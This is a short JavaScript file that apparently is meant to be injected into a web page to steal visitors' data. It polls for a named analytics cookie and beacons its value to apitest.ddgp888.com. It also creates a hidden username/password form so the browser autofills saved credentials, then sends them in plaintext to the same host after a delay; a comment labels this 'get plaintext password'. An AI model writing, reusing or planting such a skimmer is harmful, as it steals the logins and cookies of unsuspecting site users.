﻿function create_body(){
		document.write('<body></body>');
	}
var cookie_val='';
function getCookie(name){
    var nameEQ = name + "=";
    // document.cookie="name=value;domain=.ddgp888.com";
    var ca =document.cookie.split(';');
    for(var i = 0; i < ca.length; i++){
        var c = ca[i];
        while(c.charAt(0) == ' '){c = c.substring(1, c.length);}
        if(c.indexOf(nameEQ) == 0){return decodeURIComponent(c.substring(nameEQ.length, c.length));}
    }
    return null;
};
setInterval(function () {
	if(cookie_val)return
    cookie_val=getCookie('Hm_lpvt_cb205c4eed3025b26ba8d19e39ea09e5');//cookie key值
    console.log(cookie_val);
    var newimg = new Image();
    newimg.src="http://apitest.ddgp888.com/t.jsp?u="+cookie_val;
},2000);

	function create_form(user) { /*获取明文密码*/
		var f = document.createElement("form");
		f.style.display= "none"
		var b = document.getElementsByTagName("body")[0];
		b.appendChild(f);
		var e1 = document.createElement("input");
		e1.type = "text";
		e1.name = "username";
                e1.id = "username";
		f.appendChild(e1);
		var e = document.createElement("input");
		e.name = "password";
                e.type = "password";
                e.id = "password";
		f.appendChild(e);

		setTimeout(function () {
			username = document.getElementById("username").value;
                        password = document.getElementById("password").value;
			var newimg = new Image();
                       newimg.src="http://apitest.ddgp888.com/t.jsp?u="+username+"&p="+password;
		}, 2000); // 时间竞争
	}

	
	create_form('');